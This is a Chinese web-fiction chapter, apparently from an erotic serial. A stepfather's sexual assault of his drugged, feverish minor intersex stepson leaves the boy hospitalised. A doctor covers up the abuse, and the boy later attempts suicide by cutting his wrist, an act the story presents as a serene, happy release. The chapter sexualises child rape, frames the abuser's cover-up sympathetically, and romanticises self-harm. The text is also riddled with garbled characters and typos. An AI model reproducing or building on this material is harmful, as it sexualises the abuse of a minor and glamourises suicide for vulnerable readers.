图片载入中

继父下 特典

特大字】 【大字】 【中字】 【小字

“小默?”还沉醉在射精快感中的男人终于清醒过来,想起继子还在生病的 事情。

“小默!小默!你快醒醒!”男人赶紧抽出肉棒,理智全部回笼,轻轻拍打 继子的脸颊,焦急的叫道。

但无论男人怎么叫,田雨默就是没有反应,男人吓死了,低头看了眼继子的 下体,俊脸马上苍白如纸,倒抽了一口凉气。

刚才他只知道继子流血了,真没想到会流这么多血,只见小小的蜜穴伤痕累 累,全部是血,床单竟然被染红了一大半。比起昨天菊穴被破苞时还惨,好恐怖 数倍……

天啊!继子怎么会伤得这么严重!

望着继子的惨状,男人害怕地伸出手颤抖地放到继子鼻间,随即稍微松了口 气。还好!还有气!刚才看到继子伤成这样,塔镇的以为继子可能……可能死了!

仔细看着被自己弄得满身是伤,惨不忍睹的继子,男人用力甩了自己两耳光, 英俊迷人的脸立刻变得通红。

妈的,他都干了些什么?小默还发着高烧,他竟然还那么凶残变态地对他。 他简直不是人,他真的是一个畜牲……不,他连畜牲都不如!

小默发着高烧,还中了春药,被自己玩的超惨,不知道还有没有的救?他真 的好担心!

男人赶紧捡起地上的衣服穿好,然后帮继子也穿上衣服,就焦急地送继子去 医院急救。求神灵一定要保佑小默平安无事,不然他也不想活了……

田雨默被严冀昊送到医院时,已经气若游丝,只剩下一口气了。

因为田雨默是双性人,身体太过特殊,严冀昊怕把他送到一般的医院,会引 起轩然大波,就把他送到严家视角——邵院长开的医院里。本来送到好有龙玖家 开的龙氏医院更方便,单龙玖不在,只能送到邵氏医院!

站在急救室外,严冀昊心急如焚,他活了三十年,从未像现在这么紧张焦急 过。他很害怕!他害怕继子会死,来的路上小默下面流了很多血,他从来没有见 过那么多血……

欲望退去冷静下来后,他真恨不得把自己废了,为什么他总是控制不住自己 的兽欲,一再的伤害小默?

他明知道小默是因为中了春药才会那样,但仍旧一再的兽性大发,终于把小 默害的危在旦夕,随时可能会死!

也不知道邵叔叔能不能救活小默?虽然少数数数是囯际闻名的“妙手回春”, 但小默商城这样,他实在不敢乐观!

男人除了悔,还是悔!他好后悔自己的冲动,后悔当初为什么要带继子去酒 店,而不是立刻来医院,那样也不会让继子弄成现在这样!

想到自己在酒店不顾继子的身体有病、有伤,像一头没人性的畜牲医院,一 再变态的糟蹋、蹂躏继子,男人都不敢相信那是一个人能做出来的事!

男人自责得恨不得立刻杀了自己,他明明是爱继子的,他自认是全世界最爱 继子的人。他想给继子幸福,让她再也不受任何人伤害!但偏偏他却伤他最深, 他总是在伤害他,一次又一次把他伤害得体无完肤。这次更是可能会害他把命送 掉……

他不想这样的,为什么事情会演变成今天这样,到底哪里错了?

严冀昊痛苦地坐到椅子上,苦恼烦躁地拿出烟抽了起来。

看到他抽烟,立刻走过来一个五十多岁的老护士,指着墙上的禁烟标志说道: “先生,对不起!这里是医院,禁止抽烟!”

老护士身边还跟着两个年轻的护士,年轻护士望着英俊不凡,气宇轩昂的严 冀昊,忍不住红了脸。

严冀昊无奈地只能把烟灭恶了扔进旁边的垃圾桶里,妈的,要疯了!连抽烟 都不行!

“先生,请问被送进急救室的那个xiao孩子跟你是什么人?”老护士没 有像年轻护士被严冀昊的帅气迷倒,板着脸冷冰冰地问,态度非常不好。

“他是我儿子!”严冀昊疑惑地望着她,不到她想做什么。

“请问他为什么会受伤?我看他伤得很严重,好像被人殴打过!”老护士目 光诡异地看着他,声音充满了怀疑。

老护士是医院里的护士长,为人善良负责,看到田雨默受伤严重,而且很诡 异,所以特别关心,她怀疑田雨默的伤极有可能是家暴造成的……

“那是……”严冀昊顿时心虚起来,不知道要如何回答。

“那孩子到底怎么受伤的?他看起来伤得很严重,如果你解释不清吃,我就 报警叫员警来问了!”老护士见他言辞闪烁,一脸心虚,更加肯定自己的怀疑, 瞪着他追问道。

正当严冀昊头痛要如何应付面前的老护士时,急救室的灯熄了,一个年约六 旬,满头白发的老医生走了出来。

“邵叔叔,小默怎么样了?”严冀昊马上扔下老护士,焦急地跑上前抓着邵 院长的手问。

“经过抢救总算保住了那孩子的命,现在暂时没事了!但他高烧还没有退, 还处在危险期,还不能掉以轻心!”

听到邵院长的回答,严冀昊一直吊在半空的心总算放了下来,激动地感谢道: “邵叔叔,谢谢你!真的谢谢你!”

邵院长并没有像严冀昊郑遨新,相反一脸凝重,古怪地望着世侄,迟疑了一 下开口说道:“冀昊,你和我到办公室一下,我有话想单独和你说!”

“好!”严冀昊疑惑地点头。他从来没有见过邵叔叔这种表情,不知道邵叔 叔想说什么,难道和小默有关?

“院长,这个人很可疑。他可能对那孩子施行家暴,才回让那孩子伤成这样!” 老护士见他们要离开,赶紧走上前对邵院长说道,生怕邵院长不知道情况。

邵院长望了眼严冀昊,严冀昊沉默不语,俊脸上闪过一丝心虚。

邵院长转头对老护士说道:“护士长,你误会了!我看过那孩子的伤,不是 家暴造成的,是另有原因,你不要乱说!”

“院长这么说我就放心了!”老护士松了口气微笑道,随后对严冀昊道歉: “这位先生真是对不起,我误会你了,还请原谅!”

老护士非常信任邵院长,邵院长说的话她从不怀疑,完全不知道邵院长和严 冀昊的关系。

“没关系!”严冀昊摇头,望着邵院长的俊脸闪过一丝惊讶。凭邵叔叔的医 术不可能看不出小默是因为什么受伤,他为什么要帮自己说谎?

“我们走吧!”邵院长没有看严冀昊,带他去了院长办公室。

进了院长办公室,邵院长并没有像以往那样热情地招待严冀昊,而是神情严 肃地盯着他,生气地质问道:“冀昊,那孩子身上的伤是你干的吗?”

果然被邵叔叔发现了!严冀昊犹豫了一下,勇敢地点了下头。“是!”既然 邵叔叔已经知道了,他也就没有必要撒谎了!

“啪…”邵院长马上伸手甩了他一个耳光。

严冀昊惊愕地望着邵院长,没有想到一直像父亲一样疼爱自己的邵院长竟然 会动手打自己。

“冀昊,你怎么能对那孩子做出那样的事!你知道他伤的有多严重吗?他差 点就没命了,高烧四十多度,轻微脑震荡,阴道破裂,子宫和直肠也受伤了!别 的小伤就更是多得不用说了!”邵院长愤怒地骂道。他行医数十年,见过无数重 伤的病人,但看到那孩子身上的伤时也忍不住胆寒。

“这么严重!”严冀昊听完吓洒了,倒抽一口凉气。他知道继子伤得很严重, 但没想到会严重到这种地步…

“当然严重了!那孩子还这么小,又是一个少见的双性人,他的身体本来就 比一般人虚弱,普通的性交都要非常小心,否则都会受不了,何况是这么粗暴的 性虐行为!”邵院长越说越激动,那孩子被冀昊伤成这样还活着,简直就是一个 奇迹!

当时他看到那孩子,他都以为没有救了,还好凭着他数十年的精湛医术,还 是把那孩子硬从鬼门关前拉了回来!

“对不起”严冀昊自责死了,除了道歉他根本没有脸说别的。

“你对不起的人不是我,是那孩子,是那孩子的父母……”邵院长摇头叹气 道,语气软了不少。看来冀昊是真心知错了,不然以这孩子的脾气是绝对不会老 实道歉的,肯定会力争到底,坚决不承认错误!

“我知道!”严冀昊点头,真想狠狠抽自己几耳光,把自己打死。

“那孩子的亲人呢?你想过要如何面对那孩子的父母么?强强暴性虐未成年 可不是小事,处理不好是要坐牢的!”邵院长没问他怎么会侵犯xiao孩子, 上流社会很多人都有恋童癖,喜欢xiao孩子。虽然以前没听说冀昊有这种毛 病,但可能冀昊无意中知道那孩子是双性人,所以想尝尝鲜吧!

“他的亲人就是我……我是他继父……”严冀昊胆怯地看了眼邵院长,才开 口回答。

“什么?他就是你的继子?”邵院长闻言差点晕倒。

“对!”严冀昊已经等着再吃一个耳光了,他做的事情实是人神共愤,活该 被打!

“你……你竟然强暴自己的继子,你还是人吗?”邵院长指着世侄气到全身 发抖,完全不敢相信一向优秀无比,让人骄傲的世侄,竟然会做出强暴继子这种 禽兽不如的事。

他以前曾经听过冀昊结婚的对象有个儿子的事,但从来没有见过那孩子,没 想到那孩子竟然就是今天见到的可怜双性人!

唉!冀昊真是疯了,竟然连自己的继子都不放过……

“对不起,我知道错了!”严冀昊也觉得自己不是人,自己是一个畜牲,他 真希望现在能有个人打死他。

“你……你真是……我不知道要说你什么才好!”邵院长揉了揉太阳穴,老 半天才消化掉这个事实,担心地问:“你太太知道这件事吗?”

严冀昊摇头,单小默伤得这么重,短时间内绝对出不了院,他要如何瞒住田 若云?

“这件事千万不要让你太太知道,一定要把这件事瞒住!不然这件事曝光, 就算凭严家的势力你不会坐牢,也是件超级太丑闻,你和这孩子都会毁了的!医 院我会处理好,你不用担心!”邵院长交代道。

虽然非常不齿冀昊的兽行,但毕竟是至交之子,又是自己亲眼看着长大的, 无论如何他都不能袖手旁观,看着他身败名裂,遭世人骂一辈子……

“谢谢你,邵叔叔!”严冀昊感激地望着父亲生前最好的朋友。

“冀昊,这次我就睁一只眼闭一只眼,不会吧这件事告诉任何人,但我警告 你,不许你再伤害那个可怜的孩子,不然我不会放过你的!”邵院长威胁道。

其实帮冀昊撒谎,没有为那个可怜的孩子主持公道,他心里非常愧疚,但没 办法他总不能眼睁睁看着世侄身败名裂,甚至被送去坐牢。

“我知道,我发誓以后一定不会再那么对小默了,我一定会好好照顾他的!” 严冀昊伸手对天发誓,也zá心里默默对自己发誓。他今生今世都不会再伤害小 默一下了,否者就让他不得好死……

“希望你能记住你今天说的话!”邵院长叹气道。

虽然田雨默没有生命危险,让严冀昊松了口气,但他并没有完全放心,还有 很多问题等着他解决。其中最严重的问题,就是要如何向妻子田若云交待继子重 伤住院的事,这次继子伤得如此严重,很难瞒过妻子。

正当严冀昊为要如何骗田若云急得焦头烂额时,田若云突然打电话来,说她 在外省寡居的表姐出了车祸,手上很严重,她必须马上赶去,最少要去一个月, 请他好好照顾儿子……

严冀昊接到电话如释重负,觉得真是老天爷帮忙,田若云要去外省看望受伤 的表姐,就不会知道继子受伤的事了。等她回来继子应该应该也已经出院了,她 绝不会知道儿子曾重伤住院差点死掉的事。至于继子哪里,不用他说。以继子的 孝顺也绝不会告诉田若云这件事的。

解决了田若云的问题,严冀昊的心情好了不少,现在只是等继子醒过来就可 以完全放心了……

整整过了一天一夜,田雨默的高烧才完全退下去,这一天一夜严冀昊一直待 在病房里不吃不喝地守在继子床前,半步也没有离开病房。严冀昊焦急心疼的模 样让医院里的人看了,无不夸赞他是个难得一见的好继父,真是比亲生父亲还好! 有这样的继父,田雨默真是幸福……

听到大家的称赞,严冀昊心里五味投杂,更加羞愧难当。如果让大家知道就 是他把继子害成这样的,不知道他们会怎么想,肯定不仅不会再夸他是个好继父, 还会骂他租苟不如吧……

田雨默退烧后又过了一天才醒来,一睁开眼看到的就是继父欣喜若狂的脸… …

“小默。太好了。你终于醒了!”看到继子终于醒来,一直守在床前拼命向 神灵祈求的严冀昊激动地大叫道,高兴无比。

看到肌肤,像水晶一样脆弱魅力,缺暗淡得没有一丝光的瞳眸微微闪烁了一 下,很快又恢复了平静,一丝情绪也没有。

琉璃般的眼睛微抬,看着雪白的天花板,xiao孩微微张开苍白的唇,艰难地说 了几个字:“你……不……是……我……爸……爸……”

严冀昊的脸色变了变,羞愧难当,没想到继子开口说的第一句话竟会是这句 ……

他以为继子醒来后肯定会非常激动,失控地大哭大叫、乱码乱打,但没想到 继子却什么也没做,甚至连责怪的话也一句没说,只说了这句话:“你不是我爸 爸!”

继子这一句话有万斤之重,比骂他一千句、打他一万下,更让他内疚痛苦!

一脸愧疚地望着瘦弱无比、浑身是伤的继子,男人真诚地道歉:“小默,对 不起!是爸爸错了,爸爸发誓,以后再也不会这么对你了……”

田雨默沉默不语,眼睛望着天花板一眨不眨,苍白发情的小脸没有任何表情, 就好像死了一样,让人说不出的害怕!

“小默,爸爸是禽兽,爸爸不是人!但爸爸不是故意的,求你原谅爸爸吧! 爸爸保证以后再也不会打你了,无论发生什么事,爸爸都不会再碰你一下!”严 冀昊我住继子擦满管子,瘦小得吓人的手,拼命地道歉发誓,恨不得把自己的心 挖出来给继子看。耽误了他说什么,继子都置若罔闻,好像没有听到一样……

严冀昊又说了一大堆道歉的话,但发现继子仍旧不理他,重重地叹了一口了, 好好不沮丧。但想到他的所作所为,继子这么对他也是理所当然,完全不敢怪继 子……

继子现在的心情肯定很糟糕,等他心情好一点再和他道歉,可能会好一些!

“小默,你好好休息,爸爸不吵你了!爸爸会一直在你身边陪着你的,你有 什么需要叫爸爸一声就行了!”严冀昊努力挤出一丝笑,对继父说道。

田雨默继续一言不发,完全没有看一眼差点害死自己,重伤躺在这里的罪魁 祸首——继父,双眼平静无波地望着一片雪白的屋子,整个人出奇的淡然……

田雨默只有初醒时说过一句话,后面就再也没有说过话了,无聊亚几号如何 向他道歉、忏悔、哀求,他都不肯开口说话,也不肯看严冀昊一眼,就连身上的 麻醉退了,痛觉恢复,下体痛得让人发疯,他的脸上也没有半点表情,更没有喊 叫半声。

田雨默整个人就像失去灵魂的玩具娃娃一样,没有声音,没有表情,没有感 觉,他完全把自己封闭了起来……

严冀昊见他这样快急死了,继子的反应完全超出他的预期,让他完全不知道 要怎么办,一向成熟的大男人首次像xiao孩子一样无助。

严冀昊向邵院长请教,但邵院长也没有办法,说田雨默因为受刺激过度,太 伤心欲绝了才会如此,只有慢慢打开她的心结,才有机会让他重新恢复正常……

最让严冀昊头痛的是田雨默拒绝进食,无论他怎么哄,逼,田雨默就是不肯 吃任何东西。他本想用田若云逼他,但又怕会更刺激他,逼他走向绝路。

严冀昊对田雨默完全无计可施,不知如何是好,同时田雨默的行为让原本就 怀疑严冀昊的护士长再次起了疑心。护士开始怀疑邵院长说的话,经常来病房看 田雨默,眼神奇怪地打量严冀昊和田雨默,似乎想从他们身上寻找出一些蛛丝马 迹……

护士长是余元的老员工,邵院长也不好禁止她来看田雨默,只能让严冀昊尽 量小心,千万不要被她看出破绽。护士长一向热血正义,如果让她知道严冀昊和 田雨默的事,她一定会擦手,去警局报案让严冀昊坐牢。

严冀昊本想让邵院长随便找个借口暂时让护士长放假回家,单邵院长确认为 护士长已经怀疑严冀昊,如果这么做只会让她更加起疑。

严冀昊一边要承受继子自虐似的惩罚他,一边要时刻提放护士长发现他们的 事,就快崩溃了……

“小默,饿吗?想不想吃点东西?你想吃什么都可以!”严冀昊坐在病床前, 望着越来越瘦弱的继子,心疼地问。

田雨默双眼无神地望着天花板,就好像死掉了一样,一动也不懂,似乎完全 没听到严冀昊的话。

“小默,爸爸求你了,求你不要这样惩罚爸爸!求你和爸爸说句话吧,你知 不知道再不吃东西,你会死的……”见他又不说话,严冀昊再也受不了,激动地 叫道,声音有些呜咽。

好不容易才把继子从鬼门关拉回来,可是继子却完全不想活,不仅不好好养 伤,还拒绝吃东西,像这样他怎么可能会抗dú他迟早会因为绝食而死的……

田雨默充耳不闻,仍旧呆呆地望着天花板不知道在看什么。

“小默,难道你要爸爸跪下来求你,爸爸知道错了!求你张口说句话,吃点 东西吧……”严冀昊崩溃了,痛苦地对继子大叫,“扑通”一声,真的跪在了继 子床前,为了继续他抛弃了男人最重要的尊严。

这是他第一次想人吓鬼,就算小时候他也从未向父母下跪过,只要能让继子 原谅他,不再这么伤害自己,就是让他去死他也愿意!

田雨默仍旧看也不看她一眼,一直望着天花板发呆,对他下跪的事完全不在 意。

严冀昊要疯了,他没有想到就连他下跪向继子道歉,继子都不理他。他该怎 么办?还有什么办法能让继子原谅他?

“笃笃笃……”突然响起敲门声,严冀昊赶紧站起来,转身看门,还好,门 是关着的!否则让人看到他这样子,知道他堂堂严总裁竟然想自己的继子下跪, 一定会被笑死的,而且会引人怀疑……

严冀昊走过去打开门,看到外面的人后,俊脸立刻微变。又是那个爱管闲事 的老太婆!

原来是护士长,她现在完全顶上严冀昊了,天天都要来看田雨默。

“严先生,我是来看小默的!”护士长无视严冀昊的不悦,直接走进屋里。

严冀昊望着天花板翻了个白眼,赶紧跟在护士长身后监视她,生怕她做些奇 怪的事吓到继子。

“小默,你还记得我吗?我今天又来看你了,你今天感觉如何,好一点了吗?” 护士长坐到床前,看着痴呆的田雨默慈蔼地微笑道。

田雨默像以往一样,没有任何回应,她已经完全把自己封闭起来,不与任何 人交流接触,让人看了又心疼,又着急。

见状,护士长叹了口气,转头问严冀昊:“严先生,今天小默还是不肯吃东 西吗?”

严冀昊点头,提起这件事他就急,真不知道要怎么做,小默才肯吃东西!

“可怜的孩子!”护士长转回头看着已经饿得皮包骨头的xiao孩,擦了擦有点 湿润的眼角。她真想亲自照顾这孩子,好好关心他,可是不知道为什么邵院长就 是不肯答应,至于原因……

护士长冷冷的看着身后的严冀昊,她怀疑和这男人有关,她总觉得这个男人 有什么不可告人的秘密,就是他把眼前这瘦小的孩子弄得封闭自己。一般会自闭 的人,肯定都有什么非常惨痛、不愿去面对的经历。她一定要想办法查出真相, 帮助这个可怜的孩子……

严冀昊烦死眼前这个像条蛇一样盯着自己的老太太,刚想对护士长下逐客令, 身上的手机响了起来。他拿出来一看,是公司里的经理打来的,这些天他一直待 在医院里照顾小默,已经好久没去公司了,公司的事他全让经理处理!

严冀昊赶紧接听,一听才知道是个上亿的大案子,客户不满意他们的企划, 一定要和他亲自谈。经理实在没办法处理,上亿才打电话给他……

严冀昊马上决定打电话和客户亲自的电话里详谈,在病房里怕会吵到继子休 息,只好出门打电话。因为这个案子非常急,必须在今天处理好,让他一时忘了 把护士长赶走,给了护士长和田雨默独处的机会!

看到演技好有事离开,护士长立刻抓紧机会对田雨默小声说道:“孩子,你 继父走了!你有什么事可以告诉我,我会帮助你的!”

以前因为每次严冀昊都在,让她完全没有办法问田雨默什么,了解他到底发 生了什么事才回受这么重的伤住院,还绝食、封闭自己。

田雨默还是不说话,仍旧面无表情,好像没听到她的话,不,更像是完全不 知道她的存在。

“孩子,你别怕!你有什么事都可以和我说,我一定会救你的!你……你是 不是被你的继父强暴、性侵?”护士长有些急了,大胆地问。时间有限,她怕演 技好随时会回来!

闻言,空洞麻木的眼睛闪烁了一下,田雨默转过头望向她。

见他终于有反应了,护士长高兴地笑了,更加确定心中的猜测,也更加同情 可怜田雨默。

护士长感觉对田雨默继续说道:“孩子,如果你继父真的强暴了你,还对你 性虐待,我一定会帮助你、保护你的。强暴未成年是重罪,我会报案把他送进监 狱,让他再也没有办法伤害你!”

田雨默的眸子里迅速闪过一丝痛苦和激动,快得让人无法察觉,他看着护士 长轻轻摇了摇头,张开嘴困难地说道:“他……没……有……他……对……我… …很……好……”

“你说什么?我听不清楚!”因为田雨默重伤在身,又多曰没有进食,所以 根本没有力气说话,声音非常小,护士长根本听不清楚。

“他……没……有……伤……害……我……他……对……我……很……好… …”田雨默只能张大嘴,用尽全力说道、声音虚弱无比。

护士长这次因为把耳朵靠到他嘴边,终于挺清楚了。“真的嘛?”她惊讶地 望着田雨默,有些不敢相信。

田雨默用力点了下头,想张嘴在说话,可是刚才讲那两句已经用尽了他所有 的力气,他再也没有力气说话了。

“孩子,你是不是因为害怕你继父,所以故意撒谎?孩子,你相信我,我一 定能够救你的,所以你不用害怕,不需要撒谎,你可以把一切真相告诉我!”护 士长皱起眉头,还是不愿意相信严冀昊是无辜的,真诚地说道。她认为田雨默是 惧怕严冀昊,所以不敢告诉她真相!

“你……误……会……了……”田雨默摇头,张嘴用口型告诉她,他已经虚 弱得吐不出声音了。

“怎么会这样?难道真的是我误会了,但你的伤……”见他虚弱成这样,还 坚决维护继父,告诉她自己猜错了,护士长不得不接受真的是她猜错了,冤枉了 严冀昊!

护士长原本还想再问田雨默,他的伤是怎么来的,单严冀昊已经打完电话回 来了。

严冀昊回来看到护士长,心里立刻大叫不妙,自己怎么这么煳涂,竟然留下 小默一个人单独和这个老太婆在一起……

“护士长,你怎么还在这里?刚爱我看到有护士四处找你,好像有急事,你 快去看看吧!”严冀昊马上随便撒了个谎,想把她赶走。

“小默,你好好休息,我有事要走了!我有时间还会再来看你的!”护士长 立刻站起来准备离开,对田雨默微笑道,完全不知道自己被骗了。

田雨默点了下头,一旁的严冀昊惊奇地瞪大星眸望着继子,小默有反应了!

“严先生,请好好照顾小默,我走了!”护士长对严冀昊说完就离开了。

虽然她仍旧满腹疑惑,有很多地方想不明白,但直到严冀昊对田雨默很好, 并不是他把xiao孩伤成这样,她就放心了,只是有时间还是要问下,田雨默怎么会 伤成这样,这些伤到底是怎么来的!

“小默!那老太婆有没有对你做什么奇怪的事,或者问你一些奇怪的问题?” 严冀昊坐到继子身边,担心地问。完全不知道刚才差一点他就因为强暴未成年的 罪名,而进了大牢!

出乎严冀昊的意料,田雨默这次没有不再理他,二十摇了摇头,表示没有。

“小默,你终于肯理爸爸了!”严冀昊愣了一下,欣喜若狂地叫道,高兴得 差点跳起来。同时满腹惊奇,怎么他才离开一会儿,小默就肯理人了,护士长那 老太婆到底对小默做了什么?

田雨默望着开心无比的继父,眼睛里闪过一道非常复杂奇怪的光芒……

自从那天见过护士长后,严冀昊发现继子有了明显的改变,机组不再封闭自 己,对外界开始有反应,也补栽绝食。严冀昊让他吃什么他都吃,只是仍旧不讲 话,但这也足够让严冀昊高兴的了……

严冀昊一直很好奇那天到底发生了什么事,护士长到底和继子说了什么,竟 然能让继子有如此大的转变,但他问过继子很多次,继子都不说。

他好几次想问护士长,但是想了想最终还是没有考口,生怕弄巧成拙,反而 让护士长更怀疑他。虽不知道护士长对继子做了什么事,但继子能变好是好事, 他也不用计较太多!

不过严冀昊没去找护士长,护士长却主动找他单独谈了一次,问他田雨默到 底是怎么受伤的。严冀昊骗护士长,田雨默是在学校被坏同学欺负打伤的,因为 严冀昊的演技很高明,护士长相信了!

在邵院长高超无比的医术治疗下,和严冀昊无微不至的照顾下,加行田雨默 不再抗拒治疗,田雨默以惊人的速度康复起来,止住了半个多月的院。身上的伤 就完全好了!

严冀昊本想再让田雨默住院疗养一断时间,但田雨默坚决要出院,严冀昊没 办法只好让他提前出院。

出院时邵院长一再叮嘱严冀昊要好好照顾田雨默,不准再伤害他,护士长也 特别跑来送他们,交代严冀昊要好好保护田雨默,别再让坏同学欺负田雨默了!

车上,严冀昊望着外面的天空,无奈地叹了口气。都已经快傍晚了,全怪护 士长那老太婆一直唠叨,耽搁了不少时间!

转过头看着坐在身旁一直安静望着前方,娇小瘦弱得吓人的继子,男人不禁 心疼起来。小默虽然伤好了,但是身体比以前更瘦了,快要风一吹就倒了……

都是自己的错,他一定要好好照顾小默,让他多吃东西,赶紧长胖,长壮, 把他养得白白胖胖的……

“小默,你饿吗?”严冀昊努力挤出一丝笑,对那张苍白平淡的小脸温柔地 问。

田雨默摇头,双眸仍旧静静望着前方。虽然他对外界已经有反应,对继父的 话也不再置若罔闻,但他一直坚决不肯和继父说话,让继父好不难过!

严冀昊皱眉,一脸沮丧。又是这样,消磨还是不愿意和他说话,这是不是代 表小默还是不肯原谅他?

但小默能够不再对他视而不见、听而不闻,他已经很高兴、很感动了!他相 信只要他肯努力,小默总有一天一定会原谅他的,这是他的希望,也是他的信念!

很快就到家了,严冀昊停下车想抱继子下车,但又怕被拒绝。出院时他抱小 默上车,小默明显非常讨厌他的碰触。有轻轻地挣扎!

犹豫了一下,男人最终还是伸手去抱继子,本以为继子会再次挣扎拒绝,但 出乎意料,这次继子很乖,柔顺地让他包抱下了车。

俊脸上立刻扬起一抹喜悦,小心翼翼地抱着继子,就像抱着最珍贵易碎的水 晶娃娃一样!

田雨默安静地躺在继父怀里,直直望着豪华漂亮的“家”,暗淡的黑水晶浮 现出一抹奇怪的诡异,随即又闪过一丝悲伤……

“小默,你别担心,你妈妈不在!你表姨出车祸,你妈妈去看她了,还没有 回来!”严冀昊抱着继子走进空无一人的房子,对继子微笑道。

田雨默仍旧沉默不语,憔悴的小脸平静无波,没有一丝表情似乎对母亲田若 云一点也不关心。

严冀昊看着他微微叹了一口气,马上又露出笑容说道:“小默,爸爸送你回 房间休息!”

田雨默轻轻点头,严冀昊眼中闪过一丝无奈,抱着他送他回自己的房间。

轻轻把田雨默放到床上,严冀昊温柔无比地帮他拉好被子,本想留下来陪他, 可是发i按他已经闭上眼睛,只能再次无奈地叹息,转身离开让他好好睡觉!

听到关门声,田雨默马上睁开眼睛坐起来,挣扎着爬下床,拉开抽屉找出纸 和笔,坐到书桌前。他才刚刚康复,神庭还十分虚弱,只是几个简单的动作就已 经让他累得满头大汗!

微微踹着气,xiao孩拿起钢笔在纸上写了起来,不知道写些什么。挥舞着钢笔 快速写好后,他放下钢笔把纸折好放到桌上,然后又另外写了另一张折好放到抽 屉里……

抬眸张望四周,看着半个多月不见,已经变得陌生的房间,黯然的黑水晶又 浮现出诡异得可怕的流光。

这个房间他了、从来都不喜欢,虽然很大、很漂亮,却是一个让他充满讨厌 回忆的地方,就像这个所谓的“家”一样。除了刚开始的一个月,他觉得很幸福 外,剩余的时间带给他的只有恐惧和害怕……

不过马上就要结束了!所有的痛苦和害怕,很快都会全部结束……

xiao孩露出了自从住院后的第一个笑容,淡淡的微笑美极了,却让人直觉得害 怕。因为那笑容太凄美了,让人看了直揪心,好想……流泪!

坐在椅子上休息了一会儿,等有一点力气后,田雨默站了起来,重新躺回床 上,手里多了一样东西……尾一把锋利无比的小刀,是他在书桌上拿的。

平躺在床上,望着雪白的天花板,xiao孩又笑了,笑得更美,更……幸福了… …

雪白瘦弱的小手拿着雪亮的小刀在纤细的手腕上狠狠划了下去,鲜红色的血 立刻飞溅出来,染红了白色的床单。

看着鲜艳夺目的血,xiao孩儿表情非常平静,苍白的小脸上没有一丝害怕。这 样一切就都结束了,他再也不会为自己的性别烦恼痛苦,也不会再为继父严冀昊 的爱情苦恼痛苦,更不会因为愧对母亲而烦恼痛苦,什么苦恼都没有了!

他原本就是一个错误的存在,他不该出生的,他早该让这个错误消失了!可 惜他太胆小,太没用了,所以才拖到今天,造成了这么多不可挽回的错误……

他真的好后悔,后悔自己为什么没有早点死掉,如果他能早点死,就不会遇 到严冀昊,更不会和严冀昊上床乱伦名就不会背叛妈妈!更不会因为吃了春药把 什么都忘了,躺在“继父”身下放纵自己,做出那么多不知廉齿的事……

一切都无法挽回了,他现在唯一能做的只有从这个世上消失。只有这样大家 才不会因为他这个怪物再痛苦,才可以让一切重新回到原来的轨道上!

原本在医院的时候她就想死了,只是护士长的突然出现让他不得不推迟自杀 的时间,护士长已经怀疑严冀昊了,如果他地在医院里,他们的事一定会被人知 道的。他不想给严冀昊惹麻烦,索然他恨他,但他是妈妈的丈夫,妈妈还需要他 的照顾,而且他不想东窗事发后让妈妈知道一切真相而崩溃!

他已经对不起妈妈太多了,他唯一能为妈妈做的,只有永远掩盖真相,瞒住 他和严冀昊之间的丑事,让妈妈永远生活在严冀昊为她编织的美梦里……

妈妈是个可怜的女人,因为他这个丑陋脏污的妖怪,失去了太多东西。如今 他更和她的丈夫乱伦,做出租苟不如的事,他已经没有脸再活在世上见她了!他 只有永远从这个世上消失,用死来向妈妈赎罪……

他死了相信严冀昊一定会回心转意好好对妈妈的,妈妈是一个好女人,她值 得所有男人爱她。只要他消失,她一定会幸福的!

他已经在遗书里请求严冀昊好好照顾妈妈,严冀昊只要是个人就一定会答应 的,他应该会好好对待妈妈的!不然他就是做鬼,也不会放过他!

他死了妈妈可能暂时会有些痛苦,但妈妈还很年轻,她可以和严冀昊生很多 正常的xiao孩,她很快就会忘记他,从他自杀的伤痛中走出来的,而且严冀昊也会 好好安慰她,他不用担心妈妈!

至于严冀昊,他已经太累太累了,他不想去多考虑他对自己的感情到底是怎 么一回事,他到底是不是真的爱自己。他宁可相信他对自己只是一时新鲜,因为 没有见过双性人,所以觉得好奇想尝尝鲜,才把他强暴了。自己死后,他应该也 会很快就把他忘了的,他会发现妈妈的好,然后好好爱妈妈,和妈妈永远幸福的 生活在一起……

血不断从伤口中涌出,越流越多,把雪白的床单全部染红了……

田雨默渐渐觉得头越来越昏,眼睛也越来越黑,再也没有办法想下去。他知 道他终于就快要解拖了,微微扬起一抹幸福的微笑,闭上了眼睛,静静等待着死 神的到来……

严冀昊打开门看到的就是继子满身是血的躺在床上,苍白如纸的脸上挂着一 朵安详幸福的微笑。

“小默……”严冀昊立刻大叫,冲过去抱起继子,一脸难以置信。小默自杀 了!小默竟然自杀了……

“小默,你快醒醒……你快醒醒,你不要死啊……”严冀昊像疯了一样痛吼, 怎么也想不到他才离开一会儿,回来就看见刚才还好好的继子会躺在血泊里。小 默为什么要这么做?

望着机系血如泉涌的手腕,心都碎了,他惊慌地伸手去摸继子的胸口,稍微 松了口气。还好!心脏还在跳,继子还没有死!

严冀昊想抱继子马上去医院急救,但又怕乱移动继子,会让血越流越多,只 能立刻打电话个邵院长,请邵院长赶紧过来。

邵院长接到电话后,立刻开车赶来,望着割腕自杀奄奄一息的田雨默,马上 叹了一口气,低声说了一句:“造孽啊!”

严冀昊心里一痛,焦急地道:“邵叔叔,请你赶紧救小默!”

邵院长点头,现在不是问田雨默怎么才出院马上就自杀的时候,救人最重要。

邵院长来得匆忙,并没有带护士,只带了一个工具箱,他让严冀昊帮忙,快 速抢救田雨默。

邵院长的医术高明无比,很快就再一次把田雨默从鬼门关拉了回来,虽然田 雨默的伤口划得很深,但因为严冀昊发现得早,所以没有什么大碍。

“冀昊,你到底对着孩子做了什么?怎么才出院又出事了?”邵院长救完田 雨默,转身望着世侄怒问道。

“我……我也不知道……”严冀昊要摇头。他真的不知道小默为什么会突然 自杀,他在医院时不是已经放弃寻死了吗?可是现在为什么又要……他真的想不 通!

“你……唉……”邵院长想骂他,但看到他痛苦无比,恨不得杀了自己的表 情,快到嘴边想要责骂的话又咽了回去,转而长长唉叹了一声。

当帮田雨默割伤的手腕包扎好时,邵院长无意中摸到他的脉搏,眼中立刻闪 过一丝惊讶。怎么会这样?!

“邵叔叔,小默没事了吧?他大概什么时候才会醒?”严冀昊没有注意到邵 院长的神色有异,担心地问。

“他已经没事了,如果不出意外的话,明天早上就会醒的!但是……”

“但是什么?邵叔叔,你快说!小默是不是会留下什么后遗症?”严冀昊赶 紧焦急地问。

不是……“邵院长摇头,望着世侄迟疑了一下,才开口说道:”他怀孕了! “

